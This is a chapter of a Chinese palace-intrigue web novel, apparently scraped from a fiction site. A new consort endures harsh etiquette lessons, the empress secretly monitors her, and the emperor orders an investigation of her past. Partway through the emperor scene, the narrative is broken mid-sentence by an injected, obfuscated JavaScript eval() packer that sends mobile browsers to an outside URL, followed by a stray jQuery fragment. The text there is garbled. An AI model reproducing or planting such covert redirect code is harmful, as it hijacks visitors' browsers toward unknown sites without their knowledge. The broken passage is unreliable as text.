文趣网 > 都市小说 > 重生为贵妃,皇后竟然暗恋我?! > 4. 宁愿我怼天下人
    翌日,长乐宫。

    林初霁刚用过早膳,殿外便传来了通传声。

    皇帝身边的首领太监,领着一位面容肃穆的老嬷嬷,步履沉稳地走了进来。

    林初霁心中一惊,连忙在春桃的搀扶下起身。皇帝身边的人亲自前来,所为何事?她下意识地感到一丝不安。

    许安面带得体的微笑,先行了礼,带着宫内大太监特有的威仪:“给贵妃娘娘请安。奴才奉陛下口谕而来。”

    “公公请讲。”林初霁屏息凝神。

    “陛下口谕,”许安略略提高声调,确保殿内诸人都能听清,

    “贵妃林氏,温婉淑德,初入宫闱。然宫规礼制乃立身之本,不可不慎。

    特赐教习嬷嬷徐氏一人,即日起于长乐宫悉心教导贵妃宫规礼仪,务求精益求精,毋负朕望。”

    他侧身示意那位徐嬷嬷上前,“徐嬷嬷是宫中的老人了,最重规矩,陛下亲点,娘娘定能受益匪浅。”

    徐嬷嬷上前一步,规规矩矩地行礼,声音平板无波:“奴婢徐氏,奉旨教导,定当竭尽全力,不负圣恩。

    日后若有冒犯之处,还请贵妃娘娘海涵。”话虽客气,却让人不寒而栗。

    林初霁彻底愣住了。

    皇帝亲自下旨?还派了身边的大太监来传旨?就为了让她学规矩?

    她入宫才几天,甚至还没正式拜见过皇帝,怎么就引得陛下如此“关注”,

    甚至到了要专门派一位看着就极其严苛的嬷嬷来“严格执教”的地步?

    她完全不记得自己做过什么需要劳烦天子亲自过问教诲的事情。

    难道……是有人在她不知道的时候,在陛下面前说了什么?还是她无意中犯了什么大忌?

    无数的猜想和恐惧在她脑中翻腾,“臣……臣妾领旨,谢陛下隆恩。”

    她慌忙垂下头,努力维持着镇定,“有劳徐嬷嬷费心。”

    许公公又客套了几句,便留下徐嬷嬷和两名协助记录的女官,告辞离去。

    人一走,殿内的气氛瞬间变得更加压抑。

    徐嬷嬷没有任何寒暄,直接开始了工作:“贵妃娘娘,宫规礼仪涵盖甚广,非一日之功。

    今日便先从晨起梳妆、用膳仪态、以及觐见帝后的基本步态与言辞开始。请娘娘移步。”

    接下来的整整一个上午,对林初霁而言堪称折磨。

    每一个细节都被无限放大和修正。发髻的高度、珠钗的角度、行走时裙摆的晃动幅度、

    用膳时碗筷拿起放下的声响、甚至咀嚼吞咽的动作……都被要求做到极致的标准和优雅。

    徐嬷嬷的语气始终平板,不停地纠正:

    “娘娘,肩沉三分。”

    “步距大了,收半寸。”

    “执筷姿势有误,请重来。”

    “回话时声调过高,不合仪范。”

    一个时辰下来,林初霁后背沁出冷汗,头晕眼花。春桃在旁边急得搓手,却不敢插嘴。

    徐嬷嬷一丝不苟地执行着所谓“圣意”,林初霁终于忍不住了:

    “徐嬷嬷,”她小心翼翼地开口,

    “敢问……陛下为何突然想起派您来教导臣妾?臣妾入宫以来,尚未拜见过陛下……”

    徐嬷嬷抬眼看了她一下:“娘娘,这不是奴婢该问的事。奴婢只负责教。”

    林初霁闭嘴了。

    午间歇息时,林初霁几乎瘫软在榻上,连指尖都不想动弹。

    春桃心疼地为她按揉着酸痛的肩膀,小声嘟囔:“陛下也太……严苛了些,娘娘您才刚好……”

    “慎言!”林初霁连忙制止她,心有余悸地看了一眼殿外,“陛下旨意,岂是你我能非议的?”

    好啊你个皇帝!没见过面就这么整我?我才入宫几天?病才刚好!你就派个活阎王来折磨我?还“寄予厚望”?

    我连你长的是圆是扁都不知道!

    你是不是闲得慌?

    奏折批完了吗?

    天下太平了吗?

    有功夫来盯着我一个刚进宫的小妃嫔学怎么走路吃饭?

    她想象着一个模糊的、穿着龙袍的、面目可憎的身影,

    正翘着二郎腿,一边嗑瓜子一边听着太监汇报她今天被嬷嬷训了多少次。

    【陛下,林贵妃今日执筷姿势错了八次!】

    【哦?才八次?徐嬷嬷不够严厉啊,明日加倍!】

    【陛下,林贵妃走路裙摆晃动的幅度超了一寸!】

    【什么?!岂有此理!罚她顶着碗走一百遍!】

    呸!暴君!昏君!就知道欺负弱女子的刻薄鬼!

    她越想越气,忍不住在心里挥舞起小拳头,肯定是你!肯定是你昨天听了谁的谗言!

    是不是哪个看我不顺眼的妃子去你那儿告黑状了?说我走路先迈左脚不吉利?

    还是说我吃饭嚼了二十下没嚼二十一下?啊啊啊!这什么破规矩!

    她气得想捶床,在心里把皇帝骂了个遍,从祖宗十八代骂到将来断子绝孙。

    昏君!刻薄鬼!小心眼!走路绊倒!吃饭噎着!批奏折朱砂糊一脸!

    长乐宫的灯火在暮色中一盏盏亮起来。

    徐嬷嬷结束了一整日的教导,合上手中那本记录详尽的册子,朝林初霁行了一礼:

    “今日的课程到此结束,娘娘辛苦了。奴婢先行告退,明日再继续。”

    林初霁面上挂着得体的微笑,端庄地点头:

    “嬷嬷您慢走。”

    等那道身影彻底消失在殿门外,她整个人像被抽空了所有力气,

    一下子瘫倒在软榻上,四肢摊开,毫无形象可言。

    “娘娘!您注意仪态!”

    春桃吓得连忙去拉她。

    “让我躺一会儿……”

    林初霁有气无力地摆摆手,声音闷在引枕里,

    “就一会儿……那个嬷嬷走了我就不是贵妃了……我现在只是一条晒干的咸鱼……”

    凤仪宫。

    徐嬷嬷到的时候,天色已经彻底暗了下来。

    江晚晴站在窗前,背对着殿门,身上只穿了一件单薄的衣服,墨发散在身后,尚未梳起。

    烛光勾勒出她单薄的轮廓,像一剪随时会被风吹灭的影子。

    听到通传声,她几乎是立刻转过身来。

    “徐嬷嬷。”

    “今日如何?”

    徐嬷嬷看着皇后瘦削的侧脸,心中暗暗叹气:

    “林贵妃身体恢复得很好,一整日都坚持下来了,虽有疲态,但并无大碍。”

    江晚晴的手指在袖中微微松开。

    “她的情绪呢?”

    “午歇时与宫女有说有笑,未见明显的低落。

    江晚晴垂下眼睫。

    “那就好。”

    她转过身,走回书案后面,拿起一本奏折,翻了两页,又放下。

    “徐嬷嬷,”她抬起头,目光落在徐嬷嬷脸上,

    “我还有一事拜托您。”

    “娘娘请讲。”

    “林贵妃每天去了哪些地方、见了哪些人、走了哪条路——你全部记在册子里。事无巨细,一笔都不要漏。”

    徐嬷嬷看着江晚晴瘦削的脸颊和微微凹陷的眼窝,忽然觉得心口发酸。

    “娘娘,”

    徐嬷嬷忍不住开口,声音里带着一丝心疼,

    “奴婢斗胆问一句……您为何对林贵妃如此在意?”

    江晚晴的手指微微一顿。

    “您的身子,”

    徐嬷嬷继续说,目光落在江晚晴苍白的脸上,

    “太医说您胃上的毛病越来越重,您自己却不当回事。奴婢今日见您,比上回又瘦了许多。

    您是皇后,六宫之主,若您倒下了……”

    “徐嬷嬷。”江晚晴打断她。

    徐嬷嬷住了口,可眼中的担忧藏不住。

    殿内安静了一瞬。

    “奴婢知道不该多嘴,”

    徐嬷嬷垂下头,声音低了几分,

    “可黎夫人在天之灵,若是知道您这样不顾惜自己的身体,她会心疼的。”

    江晚晴的睫毛微微一颤,沉默了许久。

    “我的身体,我自己清楚。”

    “不会有事的。”

    她抬起头,看着徐嬷嬷。

    “这件事,就拜托您了。”

    徐嬷嬷张了张嘴,想说什么,可最终只是深深地叹了口气。

    “奴婢知道了。”

    徐嬷嬷的身影消失在殿门外,殿内重新安静下来。

    江晚晴站在书案前,目光落在那扇合拢的门上,看了好一会儿,才慢慢坐回椅中。

    她在想,林初霁现在一定在骂人。

    那丫头从小心思就写在脸上,受了委屈把自己关起来,一边生闷气一边在心里把得罪她的人骂个狗血淋头。

    小时候有一次,林初霁被夫子罚抄书,抄到半夜还没抄完。

    江晚晴去看她,推开门的瞬间,看见那丫头正对着纸笔咬牙切齿,嘴里念念有词。

    “老顽固……刻薄鬼……让学生抄这么多,自己怎么不抄……抄断手了你负责吗……”

    看见江晚晴进来,她立刻住了嘴,换上一副乖巧无辜的表情,眼睛亮晶晶地看着她。

    江晚晴当时没有揭穿她,只是走过去,拿起另一支笔,替她抄了一半。

    “姐姐你真好!”林初霁抱着她的胳膊,笑得眼睛弯成了月牙。

    “少拍马屁。明天自己去跟夫子认错。”

    .......

    有徐嬷嬷在长乐宫守着,林初霁的一举一动都在她的视线之内。

    这既是约束,也是保护。

    至于那份怨怼.....

    江晚晴靠在椅背上,轻轻吐出一口气。

    便都算在温晏头上吧。

    她不能亲自出手。太后和薛家正盯着凤仪宫,她只需继续做那个冷眼旁观的皇后便好。

    养心殿内。

    温晏正埋首于一堆奏折之中,朱笔挥动,批阅得正专注。

    忽然,鼻尖一阵难以抑制的痒意袭来——

    “阿嚏!”

    一个响亮的喷嚏毫无预兆地打出,震得她手中的笔一抖,

    一滴硕大的朱砂“啪”地滴落在明黄色的奏疏上,迅速晕染开一小片刺目的红。

    “……”温晏盯着那点红晕,愣了一下,随即揉了揉发痒的鼻子,小声嘀咕道:

    “嘶……谁?谁又在背后骂朕了?”

    侍立一旁的太监总管许安连忙上前,熟练地用吸墨的宣纸小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832810|211357||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心按压处理那滴多余的朱砂,一边陪着笑低声道:

    “陛下说笑了,您是天子,万民敬仰,谁会、谁敢骂您呐?

    定是这几日倒春寒,陛下操劳国事,有些着凉了。奴才这就让御膳房备碗姜汤来?”

    温晏摆摆手,没接这话茬。

    她放下朱笔,身体向后靠在椅背上,指尖敲击着桌面。

    “你说……朕昨日刚顺水推舟,下了道旨意,让人去‘教导’新入宫的林贵妃规矩,

    今儿个就平白打了个大喷嚏……这时间,是不是有点太巧了?”

    许安心里跟明镜似的,面上却只是温和地笑了笑:“陛下多虑了。

    您体恤贵妃娘娘年少,恐其不谙宫规,特赐教诲,此乃娘娘的福气。

    娘娘感念圣恩还来不及,怎会心生怨怼呢?”

    “感念圣恩?”温晏挑眉,眸光流转间带着几分戏谑。

    “朕派去的,可是徐嬷嬷。宫中谁人不知,那位老嬷嬷最是重规守矩,严苛得不近人情?

    便是朕幼时,也没少在她那‘一丝不苟’的教导下吃苦头。”

    温晏想象了一下那位看着娇娇弱弱、似乎一阵风就能吹倒的林贵妃,

    此刻正被徐嬷嬷一丝不苟地“打磨”着的情景,忍不住又摸了摸鼻子。

    “啧,”她咂咂嘴,带着点幸灾乐祸“怕是这会儿,长乐宫里头,那位小贵妃不敢明着骂,

    心里头不知道怎么偷偷念叨朕这个‘刻薄’的皇帝呢。”

    许安笑了笑,并未像其他奴才那样惶恐地让她慎言,只是温和道:

    “陛下是一片苦心。严师出高徒,徐嬷嬷规矩是严了些,但确是真心为娘娘好。日后娘娘自然会明白。”

    “苦心?”温晏嗤笑一声,重新拿起朱笔,点了点那奏折上的红点,

    “朕有什么苦心?

    朕不过是……顺水推舟,成全了某些人的“好意”

    顺便……也瞧瞧这潭水底下,到底藏着什么鱼罢了。”

    “罢了罢了,”温晏摇摇头,像是要把那点莫名其妙的心虚甩开,

    “骂就骂吧。去,让影来一趟。”

    不多时,一道几乎与阴影融为一体的身影悄无声息地出现在殿中,单膝跪地:“陛下。”

    “起来回话。”温晏指尖敲着桌面,“让你查的事,如何了?

    林丞相之女,入宫前,尤其是四年之前,可有什么特别?与皇后……可有任何关联?”

    “是。”影垂首,声音平稳无波:“回陛下。经查,林丞相祖籍江南苏杭。

    约二十年前入京任职前,其家眷曾长期居于江南祖宅。

    而江氏一族,其根基亦在江南,两家府邸……同在一城,相隔不算远。”

    温晏挑眉:“同乡?倒是个新线索。”

    影话锋一转,“据多方查探,林家与江家,虽同处一地,但一来文武殊途,二来门第观念有别。

    加之林丞相早年专注仕途,其家眷深居简出,与当地勋贵交往甚少。

    明面上,两家并无任何礼尚往来或公开的交集记录,可谓……并无瓜葛。”

    “并无瓜葛?”温晏重复了一遍这四个字,指尖在案上不紧不慢地敲着。

    “江南不比京城,”温晏继续说,“京城的贵妇们讲规矩、守礼数。

    可江南的宅院后门连着巷子,东家的丫鬟和西家的嬷嬷在井边洗衣裳都能聊上一个时辰。

    林家小姐和江家小姐即便没有正式登门拜访过,在庙会上、在踏青时、在节庆灯会上——全都能避开?”

    影垂下头:“属下疏忽了。”

    “不是你的疏忽。是被清理得太干净了。你第一轮查证看的是户籍、礼单、公开文书,当然没有痕迹。因为有人专门把这些痕迹抹掉了。”

    影请示道,“陛下,是否需要属下也从江氏那边着手,探查两家是否可能存在未记录的……”

    “不必。”温晏立刻打断了他,语气果断:“关于皇后的一切,都不必查。”

    她放下朱笔,身体微微前倾:“林氏女对皇后而言,不过是个突然闯入的陌生人罢了。

    “属下明白。”影立刻领会了皇帝坚决的态度,不再有任何疑问,

    “属下会专注于从林家继续调查林贵妃的过往,绝不会触及皇后娘娘及江家分毫。”

    “嗯,去吧。有进展立刻报朕。”温晏挥挥手,语气恢复了慵懒。

    影如同来时一般,悄无声息地退了下去。

    温晏独自坐在龙椅上,目光落在那个被妥善处理过却依旧留下浅淡痕迹的朱砂点上。

    她重新拿起朱笔,却有些心不在焉。

    晚晴,你到底……在透过那位林贵妃,看着什么?又或者说,在隐藏什么?

    而那位看似柔弱懵懂、却能引得晚晴方寸大乱的林贵妃,在这场突如其来的“圣眷”与“严教”之下,又会如何应对?

    这盘棋,似乎越来越有趣了。

    她轻抿了一口热茶,目光再次投向那堆积如山的奏折,嘴角却勾起一抹玩味的弧度。

    罢了,既然选择相信,便信到底。

    至于林初霁身上的谜团,就从林家开始解吧。

    这深宫里的戏,总要一幕一幕地看下去,才更有意思,不是吗?